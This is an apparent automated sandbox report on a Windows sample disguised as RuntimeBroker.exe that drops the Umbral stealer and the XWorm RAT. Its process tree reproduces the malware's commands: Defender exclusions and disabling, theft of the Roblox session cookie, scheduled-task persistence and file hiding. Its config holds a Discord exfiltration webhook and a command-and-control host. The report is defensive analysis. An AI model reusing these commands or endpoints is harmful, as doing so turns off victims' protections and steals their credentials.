umbral | 2b80a0860ed3b8e262f242f251839d513808829fc3e209b93d2048c272ccc205

Analysis

max time kernel
147s
max time network
146s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
22/09/2024, 10:36

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General

Target

RuntimeBroker.exe
Size

346KB
MD5

6a983258dfa7b270cc0938e4c453f66a
SHA1

21cb0158a55a859552fbfe442b7e7ca04c3dd77f
SHA256

2b80a0860ed3b8e262f242f251839d513808829fc3e209b93d2048c272ccc205
SHA512

7273d35af4e4c590566c9d514a26a24aa71696a94aab0a0bfc30820d6a6e9918044cd0df11c20b9b983b3b30edcfecc76a6e9670bdbb8ab7a7ed48c9d405fef5
SSDEEP

6144:q/cLTw+cOiFUk6Pv6U9yy/J6cIiPx166FpQoO/KzFHT809ii6VfNtvAeB9:q0LdcOiFhXKU6/3zFA09iD1tIeB9

Score

10^/10

umbral xworm credential_access discovery execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1287360783734411274/Muly1yjywcFg321yTLGVUf6Ilh44xbfhxhT17VnDw6_iOfAw6PaTOvV1EsNLG7xaTeEl

Extracted

Family

xworm

expected-schema.gl.at.ply.gg:2980

Attributes

Install_directory
%Userprofile%
install_file
USB.exe

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0007000000018b3e-12.dat	family_umbral
behavioral1/memory/2872-18-0x00000000000F0000-0x0000000000130000-memory.dmp	family_umbral

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral1/files/0x000d000000012255-6.dat	family_xworm
behavioral1/memory/1964-14-0x0000000001150000-0x000000000116A000-memory.dmp	family_xworm
behavioral1/memory/2224-199-0x0000000001140000-0x000000000115A000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1148	powershell.exe
2732	powershell.exe
940	powershell.exe
3000	powershell.exe
2356	powershell.exe
1768	powershell.exe
1624	powershell.exe
2268	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbrall.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.lnk	RuntimeBroker.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.lnk	RuntimeBroker.exe

Executes dropped EXE 5 IoCs

pid	Process
1964	RuntimeBroker.exe
2872	Umbrall.exe
2788	SynsWave.exe
2224	RuntimeBroker
628	RuntimeBroker

Loads dropped DLL 1 IoCs

pid	Process
2248	RuntimeBroker.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "C:\\Users\\Admin\\RuntimeBroker"	RuntimeBroker.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
11	discord.com
12	discord.com
26	raw.githubusercontent.com
27	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2764	cmd.exe
2912	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1912	wmic.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	SynsWave.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	SynsWave.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	SynsWave.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2912	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3040	schtasks.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
2872	Umbrall.exe
2268	powershell.exe
1148	powershell.exe
2732	powershell.exe
2016	powershell.exe
3000	powershell.exe
2356	powershell.exe
1768	powershell.exe
940	powershell.exe
1624	powershell.exe
1964	RuntimeBroker.exe
1964	RuntimeBroker.exe
1964	RuntimeBroker.exe
1964	RuntimeBroker.exe
1964	RuntimeBroker.exe
1964	RuntimeBroker.exe
1964	RuntimeBroker.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1964	RuntimeBroker.exe
Token: SeDebugPrivilege	2872	Umbrall.exe
Token: SeIncreaseQuotaPrivilege	2360	wmic.exe
Token: SeSecurityPrivilege	2360	wmic.exe
Token: SeTakeOwnershipPrivilege	2360	wmic.exe
Token: SeLoadDriverPrivilege	2360	wmic.exe
Token: SeSystemProfilePrivilege	2360	wmic.exe
Token: SeSystemtimePrivilege	2360	wmic.exe
Token: SeProfSingleProcessPrivilege	2360	wmic.exe
Token: SeIncBasePriorityPrivilege	2360	wmic.exe
Token: SeCreatePagefilePrivilege	2360	wmic.exe
Token: SeBackupPrivilege	2360	wmic.exe
Token: SeRestorePrivilege	2360	wmic.exe
Token: SeShutdownPrivilege	2360	wmic.exe
Token: SeDebugPrivilege	2360	wmic.exe
Token: SeSystemEnvironmentPrivilege	2360	wmic.exe
Token: SeRemoteShutdownPrivilege	2360	wmic.exe
Token: SeUndockPrivilege	2360	wmic.exe
Token: SeManageVolumePrivilege	2360	wmic.exe
Token: 33	2360	wmic.exe
Token: 34	2360	wmic.exe
Token: 35	2360	wmic.exe
Token: SeIncreaseQuotaPrivilege	2360	wmic.exe
Token: SeSecurityPrivilege	2360	wmic.exe
Token: SeTakeOwnershipPrivilege	2360	wmic.exe
Token: SeLoadDriverPrivilege	2360	wmic.exe
Token: SeSystemProfilePrivilege	2360	wmic.exe
Token: SeSystemtimePrivilege	2360	wmic.exe
Token: SeProfSingleProcessPrivilege	2360	wmic.exe
Token: SeIncBasePriorityPrivilege	2360	wmic.exe
Token: SeCreatePagefilePrivilege	2360	wmic.exe
Token: SeBackupPrivilege	2360	wmic.exe
Token: SeRestorePrivilege	2360	wmic.exe
Token: SeShutdownPrivilege	2360	wmic.exe
Token: SeDebugPrivilege	2360	wmic.exe
Token: SeSystemEnvironmentPrivilege	2360	wmic.exe
Token: SeRemoteShutdownPrivilege	2360	wmic.exe
Token: SeUndockPrivilege	2360	wmic.exe
Token: SeManageVolumePrivilege	2360	wmic.exe
Token: 33	2360	wmic.exe
Token: 34	2360	wmic.exe
Token: 35	2360	wmic.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	2016	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeIncreaseQuotaPrivilege	796	wmic.exe
Token: SeSecurityPrivilege	796	wmic.exe
Token: SeTakeOwnershipPrivilege	796	wmic.exe
Token: SeLoadDriverPrivilege	796	wmic.exe
Token: SeSystemProfilePrivilege	796	wmic.exe
Token: SeSystemtimePrivilege	796	wmic.exe
Token: SeProfSingleProcessPrivilege	796	wmic.exe
Token: SeIncBasePriorityPrivilege	796	wmic.exe
Token: SeCreatePagefilePrivilege	796	wmic.exe
Token: SeBackupPrivilege	796	wmic.exe
Token: SeRestorePrivilege	796	wmic.exe
Token: SeShutdownPrivilege	796	wmic.exe
Token: SeDebugPrivilege	796	wmic.exe
Token: SeSystemEnvironmentPrivilege	796	wmic.exe
Token: SeRemoteShutdownPrivilege	796	wmic.exe
Token: SeUndockPrivilege	796	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1964	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2248 wrote to memory of 1964	2248	RuntimeBroker.exe	29
PID 2248 wrote to memory of 1964	2248	RuntimeBroker.exe	29
PID 2248 wrote to memory of 1964	2248	RuntimeBroker.exe	29
PID 2248 wrote to memory of 2872	2248	RuntimeBroker.exe	30
PID 2248 wrote to memory of 2872	2248	RuntimeBroker.exe	30
PID 2248 wrote to memory of 2872	2248	RuntimeBroker.exe	30
PID 2248 wrote to memory of 2788	2248	RuntimeBroker.exe	31
PID 2248 wrote to memory of 2788	2248	RuntimeBroker.exe	31
PID 2248 wrote to memory of 2788	2248	RuntimeBroker.exe	31
PID 2788 wrote to memory of 2948	2788	SynsWave.exe	33
PID 2788 wrote to memory of 2948	2788	SynsWave.exe	33
PID 2788 wrote to memory of 2948	2788	SynsWave.exe	33
PID 2872 wrote to memory of 2360	2872	Umbrall.exe	35
PID 2872 wrote to memory of 2360	2872	Umbrall.exe	35
PID 2872 wrote to memory of 2360	2872	Umbrall.exe	35
PID 2872 wrote to memory of 2060	2872	Umbrall.exe	37
PID 2872 wrote to memory of 2060	2872	Umbrall.exe	37
PID 2872 wrote to memory of 2060	2872	Umbrall.exe	37
PID 2872 wrote to memory of 2268	2872	Umbrall.exe	39
PID 2872 wrote to memory of 2268	2872	Umbrall.exe	39
PID 2872 wrote to memory of 2268	2872	Umbrall.exe	39
PID 2872 wrote to memory of 1148	2872	Umbrall.exe	41
PID 2872 wrote to memory of 1148	2872	Umbrall.exe	41
PID 2872 wrote to memory of 1148	2872	Umbrall.exe	41
PID 2872 wrote to memory of 2732	2872	Umbrall.exe	43
PID 2872 wrote to memory of 2732	2872	Umbrall.exe	43
PID 2872 wrote to memory of 2732	2872	Umbrall.exe	43
PID 2872 wrote to memory of 2016	2872	Umbrall.exe	45
PID 2872 wrote to memory of 2016	2872	Umbrall.exe	45
PID 2872 wrote to memory of 2016	2872	Umbrall.exe	45
PID 1964 wrote to memory of 3000	1964	RuntimeBroker.exe	47
PID 1964 wrote to memory of 3000	1964	RuntimeBroker.exe	47
PID 1964 wrote to memory of 3000	1964	RuntimeBroker.exe	47
PID 1964 wrote to memory of 2356	1964	RuntimeBroker.exe	49
PID 1964 wrote to memory of 2356	1964	RuntimeBroker.exe	49
PID 1964 wrote to memory of 2356	1964	RuntimeBroker.exe	49
PID 2872 wrote to memory of 796	2872	Umbrall.exe	51
PID 2872 wrote to memory of 796	2872	Umbrall.exe	51
PID 2872 wrote to memory of 796	2872	Umbrall.exe	51
PID 1964 wrote to memory of 1768	1964	RuntimeBroker.exe	53
PID 1964 wrote to memory of 1768	1964	RuntimeBroker.exe	53
PID 1964 wrote to memory of 1768	1964	RuntimeBroker.exe	53
PID 2872 wrote to memory of 1804	2872	Umbrall.exe	55
PID 2872 wrote to memory of 1804	2872	Umbrall.exe	55
PID 2872 wrote to memory of 1804	2872	Umbrall.exe	55
PID 2872 wrote to memory of 1500	2872	Umbrall.exe	57
PID 2872 wrote to memory of 1500	2872	Umbrall.exe	57
PID 2872 wrote to memory of 1500	2872	Umbrall.exe	57
PID 2872 wrote to memory of 940	2872	Umbrall.exe	59
PID 2872 wrote to memory of 940	2872	Umbrall.exe	59
PID 2872 wrote to memory of 940	2872	Umbrall.exe	59
PID 1964 wrote to memory of 1624	1964	RuntimeBroker.exe	61
PID 1964 wrote to memory of 1624	1964	RuntimeBroker.exe	61
PID 1964 wrote to memory of 1624	1964	RuntimeBroker.exe	61
PID 2872 wrote to memory of 1912	2872	Umbrall.exe	63
PID 2872 wrote to memory of 1912	2872	Umbrall.exe	63
PID 2872 wrote to memory of 1912	2872	Umbrall.exe	63
PID 1964 wrote to memory of 3040	1964	RuntimeBroker.exe	65
PID 1964 wrote to memory of 3040	1964	RuntimeBroker.exe	65
PID 1964 wrote to memory of 3040	1964	RuntimeBroker.exe	65
PID 2872 wrote to memory of 2764	2872	Umbrall.exe	67
PID 2872 wrote to memory of 2764	2872	Umbrall.exe	67
PID 2872 wrote to memory of 2764	2872	Umbrall.exe	67
PID 2764 wrote to memory of 2912	2764	cmd.exe	69

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2060	attrib.exe

C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2248
- C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
  "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\RuntimeBroker'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1624
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "RuntimeBroker" /tr "C:\Users\Admin\RuntimeBroker"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3040
- C:\Users\Admin\AppData\Roaming\Umbrall.exe
  "C:\Users\Admin\AppData\Roaming\Umbrall.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2360
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbrall.exe"
    3⤵
    - Views/modifies file attributes
    PID:2060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbrall.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2016
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:796
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:1804
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:1500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:940
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1912
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Umbrall.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2764
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2912
- C:\Users\Admin\AppData\Roaming\SynsWave.exe
  "C:\Users\Admin\AppData\Roaming\SynsWave.exe"
  2⤵
  - Executes dropped EXE
  - Modifies system certificate store
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2948

C:\Windows\system32\taskeng.exe
taskeng.exe {A50F70B5-CCE3-4657-ACAC-359D61DCE46A} S-1-5-21-457978338-2990298471-2379561640-1000:WOUOSVRD\Admin:Interactive:[1]
1⤵
PID:580
- C:\Users\Admin\RuntimeBroker
  C:\Users\Admin\RuntimeBroker
  2⤵
  - Executes dropped EXE
  PID:2224
- C:\Users\Admin\RuntimeBroker
  C:\Users\Admin\RuntimeBroker
  2⤵
  - Executes dropped EXE
  PID:628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab73BB.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar73DE.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3be70e615aaf3c051cbd97726abb8df6

SHA1
fc22f462ee756df96417e6cf0e1dcb6bba39b01a

SHA256
dc4c3b437fa3d379822f861f6058e7d6379afd936c4c9221f5c1d244d5f488a9

SHA512
714fe3f10535f9f7adba3bb7ffa46fcfdcf0d4d9ada83a5501cf7edf2cca57ec5b2c2443540250ff7a65c7feaf6bfa0d2a1456a3a6214c0c4678b7f222c94f5f

Download Submit
C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe

Filesize
80KB

MD5
5b8832e9845170717385ed9fb6dd6589

SHA1
b51bbc5d54e0e7c84a3488ca16643e8c88e452fa

SHA256
21ed3d77c21d3f856d7a0852f316abb104c90004e912fa330562435921a26d1d

SHA512
841f88b766c9aae7d6ac3f8c6e563da16a1266bb795c38060d465451c15b0052b13e58e26ad95325253d9196d30717418cbe3c75ad19eaad21a9bdf9f5289fa6

Download Submit
C:\Users\Admin\AppData\Roaming\Umbrall.exe

Filesize
230KB

MD5
0b1ca5b7db9b402d2a2d5f2ceffb6d03

SHA1
e29fc0c937e930ae463110e6954759bdad901063

SHA256
7e7441520b44960fdc5fc8ec1b43c27a460baf7d84874d91fc78f4f97fd85aab

SHA512
5106921b55ec7f907b79a5b5fcab8cd387f27005c1da9a64680e0c2bdb25b99a20bbe59132452176ad9dcee9d8c2d23a8326f786de6453ef47094723f3e9a8b3

Download Submit
\Users\Admin\AppData\Roaming\SynsWave.exe

Filesize
25KB

MD5
12e7359129744823438f3d6b97192955

SHA1
